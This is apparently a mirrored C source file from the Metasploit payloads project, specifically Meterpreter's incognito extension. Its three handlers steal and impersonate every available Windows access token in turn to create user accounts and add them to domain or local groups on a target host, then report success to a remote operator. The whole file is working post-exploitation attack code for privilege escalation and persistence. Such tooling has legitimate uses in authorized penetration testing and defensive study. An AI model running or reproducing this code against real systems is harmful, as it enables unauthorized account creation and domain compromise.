mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-30 22:19:17 +02:00
308 lines
12 KiB
C
308 lines
12 KiB
C
#define _CRT_SECURE_NO_DEPRECATE 1
|
|
#include "common.h"
|
|
#include "common_metapi.h"
|
|
#include <stdio.h>
|
|
#include <assert.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <aclapi.h>
|
|
#include <accctrl.h>
|
|
#include <psapi.h>
|
|
#include <tlhelp32.h>
|
|
#include <lm.h>
|
|
#include <wchar.h>
|
|
#include "list_tokens.h"
|
|
#include "incognito.h"
|
|
|
|
DWORD request_incognito_add_user(Remote *remote, Packet *packet)
|
|
{
|
|
USER_INFO_1 ui;
|
|
DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
|
|
NET_API_STATUS nStatus;
|
|
SavedToken *token_list = NULL;
|
|
HANDLE saved_token;
|
|
char *dc_netbios_name, *username, *password, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
|
|
wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], password_u[BUF_SIZE];
|
|
TOKEN_PRIVS token_privs;
|
|
|
|
// Read arguments
|
|
Packet *response = met_api->packet.create_response(packet);
|
|
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
|
|
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
|
|
password = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_PASSWORD);
|
|
|
|
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
|
|
mbstowcs(username_u, username, strlen(username)+1);
|
|
mbstowcs(password_u, password, strlen(password)+1);
|
|
|
|
ui.usri1_name = username_u;
|
|
ui.usri1_password = password_u;
|
|
ui.usri1_priv = USER_PRIV_USER;
|
|
ui.usri1_home_dir = NULL;
|
|
ui.usri1_comment = NULL;
|
|
ui.usri1_flags = UF_SCRIPT;
|
|
ui.usri1_script_path = NULL;
|
|
|
|
// Save current thread token if one is currently being impersonated
|
|
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
|
|
saved_token = INVALID_HANDLE_VALUE;
|
|
|
|
token_list = get_token_list(&num_tokens, &token_privs);
|
|
if (!token_list)
|
|
{
|
|
sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
|
|
sprintf(return_value, "[*] Attempting to add user %s to host %s\n", username, dc_netbios_name);
|
|
|
|
// Attempt to add user with every token
|
|
for (i=0;i<num_tokens;i++)
|
|
if (token_list[i].token)
|
|
{
|
|
// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
|
|
if (!_wcsicmp(L"NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
|
|
continue;
|
|
|
|
ImpersonateLoggedOnUser(token_list[i].token);
|
|
nStatus = NetUserAdd(dc_netbios_name_u, 1, (LPBYTE)&ui, &dwError);
|
|
RevertToSelf();
|
|
|
|
switch (nStatus)
|
|
{
|
|
case ERROR_ACCESS_DENIED:
|
|
case ERROR_LOGON_FAILURE: // unknown username or bad password
|
|
case ERROR_INVALID_PASSWORD:
|
|
break;
|
|
case NERR_Success:
|
|
strncat(return_value, "[+] Successfully added user\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case NERR_InvalidComputer:
|
|
strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case NERR_NotPrimary:
|
|
strncat(return_value, "[-] Operation only allowed on primary domain controller\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case NERR_GroupExists:
|
|
strncat(return_value, "[-] Group already exists\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case NERR_UserExists:
|
|
strncat(return_value, "[-] User already exists\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case NERR_PasswordTooShort:
|
|
strncat(return_value,"[-] Password does not meet complexity requirements\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
default:
|
|
sprintf(temp, "[-] Unknown error: %d\n", nStatus);
|
|
strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
}
|
|
}
|
|
|
|
strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);
|
|
|
|
cleanup:
|
|
for (i=0;i<num_tokens;i++)
|
|
CloseHandle(token_list[i].token);
|
|
free(token_list);
|
|
|
|
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
|
|
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
|
|
|
// Restore token impersonation
|
|
if (saved_token != INVALID_HANDLE_VALUE)
|
|
ImpersonateLoggedOnUser(saved_token);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
DWORD request_incognito_add_group_user(Remote *remote, Packet *packet)
|
|
{
|
|
DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
|
|
NET_API_STATUS nStatus;
|
|
SavedToken *token_list = NULL;
|
|
HANDLE saved_token;
|
|
wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
|
|
char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
|
|
TOKEN_PRIVS token_privs;
|
|
|
|
// Read arguments
|
|
Packet *response = met_api->packet.create_response(packet);
|
|
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
|
|
groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
|
|
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
|
|
|
|
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
|
|
mbstowcs(username_u, username, strlen(username)+1);
|
|
mbstowcs(groupname_u, groupname, strlen(groupname)+1);
|
|
|
|
// Save current thread token if one is currently being impersonated
|
|
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
|
|
saved_token = INVALID_HANDLE_VALUE;
|
|
|
|
token_list = get_token_list(&num_tokens, &token_privs);
|
|
if (!token_list)
|
|
{
|
|
sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
|
|
sprintf(return_value, "[*] Attempting to add user %s to group %s on domain controller %s\n", username, groupname, dc_netbios_name);
|
|
|
|
// Attempt to add user to group with every token
|
|
for (i=0;i<num_tokens;i++)
|
|
if (token_list[i].token)
|
|
{
|
|
// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
|
|
if (!_wcsicmp(L"NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
|
|
continue;
|
|
|
|
ImpersonateLoggedOnUser(token_list[i].token);
|
|
nStatus = NetGroupAddUser(dc_netbios_name_u, groupname_u, username_u);
|
|
RevertToSelf();
|
|
|
|
switch (nStatus)
|
|
{
|
|
case ERROR_ACCESS_DENIED:
|
|
case ERROR_LOGON_FAILURE: // unknown username or bad password
|
|
case ERROR_INVALID_PASSWORD:
|
|
break;
|
|
case NERR_Success:
|
|
strncat(return_value, "[+] Successfully added user to group\n", sizeof(return_value)-strlen(return_value)-1);;
|
|
goto cleanup;
|
|
case NERR_InvalidComputer:
|
|
strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case NERR_NotPrimary:
|
|
strncat(return_value, "[-] Operation only allowed on primary domain controller\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case NERR_SpeGroupOp:
|
|
strncat(return_value, "[-] Special group\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case NERR_UserNotFound:
|
|
strncat(return_value, "[-] User not found\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case NERR_GroupNotFound:
|
|
strncat(return_value, "[-] Group not found\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case 2236: // Can't find error code in documentation...found by testing
|
|
strncat(return_value, "[-] User already in group\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
default:
|
|
sprintf(temp, "Unknown error: %d\n", nStatus);
|
|
strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
}
|
|
}
|
|
|
|
strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);
|
|
|
|
cleanup:
|
|
for (i=0;i<num_tokens;i++)
|
|
CloseHandle(token_list[i].token);
|
|
free(token_list);
|
|
|
|
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
|
|
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
|
|
|
// Restore token impersonation
|
|
if (saved_token != INVALID_HANDLE_VALUE)
|
|
ImpersonateLoggedOnUser(saved_token);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|
|
|
|
DWORD request_incognito_add_localgroup_user(Remote *remote, Packet *packet)
|
|
{
|
|
DWORD dwLevel = 1, dwError = 0, num_tokens = 0, i;
|
|
NET_API_STATUS nStatus;
|
|
LOCALGROUP_MEMBERS_INFO_3 localgroup_member;
|
|
SavedToken *token_list = NULL;
|
|
HANDLE saved_token;
|
|
wchar_t dc_netbios_name_u[BUF_SIZE], username_u[BUF_SIZE], groupname_u[BUF_SIZE];
|
|
char *dc_netbios_name, *groupname, *username, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
|
|
TOKEN_PRIVS token_privs;
|
|
|
|
// Read arguments
|
|
Packet *response = met_api->packet.create_response(packet);
|
|
dc_netbios_name = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
|
|
groupname = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_GROUPNAME);
|
|
username = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_USERNAME);
|
|
|
|
mbstowcs(dc_netbios_name_u, dc_netbios_name, strlen(dc_netbios_name)+1);
|
|
mbstowcs(username_u, username, strlen(username)+1);
|
|
mbstowcs(groupname_u, groupname, strlen(groupname)+1);
|
|
|
|
localgroup_member.lgrmi3_domainandname = username_u;
|
|
|
|
// Save current thread token if one is currently being impersonated
|
|
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
|
|
saved_token = INVALID_HANDLE_VALUE;
|
|
|
|
token_list = get_token_list(&num_tokens, &token_privs);
|
|
if (!token_list)
|
|
{
|
|
sprintf(return_value, "[-] Failed to enumerate tokens with error code: %d\n", GetLastError());
|
|
goto cleanup;
|
|
}
|
|
|
|
sprintf(return_value, "[*] Attempting to add user %s to localgroup %s on host %s\n", username, groupname, dc_netbios_name);
|
|
|
|
// Attempt to add user to localgroup with every token
|
|
for (i=0;i<num_tokens;i++)
|
|
if (token_list[i].token)
|
|
{
|
|
// causes major problems (always error 127) once you have impersonated this token once. No idea why!!!
|
|
if (!_wcsicmp(L"NT AUTHORITY\\ANONYMOUS LOGON", token_list[i].username))
|
|
continue;
|
|
|
|
ImpersonateLoggedOnUser(token_list[i].token);
|
|
nStatus = NetLocalGroupAddMembers(dc_netbios_name_u, groupname_u, 3, (LPBYTE)&localgroup_member, 1);
|
|
RevertToSelf();
|
|
|
|
switch (nStatus)
|
|
{
|
|
case ERROR_ACCESS_DENIED:
|
|
case ERROR_LOGON_FAILURE: // unknown username or bad password
|
|
case ERROR_INVALID_PASSWORD:
|
|
break;
|
|
case NERR_Success:
|
|
strncat(return_value, "[+] Successfully added user to local group\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case NERR_InvalidComputer:
|
|
strncat(return_value, "[-] Computer name invalid\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case ERROR_NO_SUCH_MEMBER:
|
|
strncat(return_value, "[-] User not found\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case NERR_GroupNotFound:
|
|
case 1376: // found by testing (also group not found)
|
|
strncat(return_value, "[-] Local group not found\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
case ERROR_MEMBER_IN_ALIAS:
|
|
strncat(return_value, "[-] User already in group\n", sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
default:
|
|
sprintf(temp, "Unknown error: %d \n", nStatus);
|
|
strncat(return_value, temp, sizeof(return_value)-strlen(return_value)-1);
|
|
goto cleanup;
|
|
}
|
|
}
|
|
|
|
strncat(return_value, "[-] Access denied with all tokens\n", sizeof(return_value)-strlen(return_value)-1);
|
|
|
|
cleanup:
|
|
for (i=0;i<num_tokens;i++)
|
|
CloseHandle(token_list[i].token);
|
|
free(token_list);
|
|
|
|
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
|
|
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
|
|
|
// Restore token impersonation
|
|
if (saved_token != INVALID_HANDLE_VALUE)
|
|
ImpersonateLoggedOnUser(saved_token);
|
|
|
|
return ERROR_SUCCESS;
|
|
}
|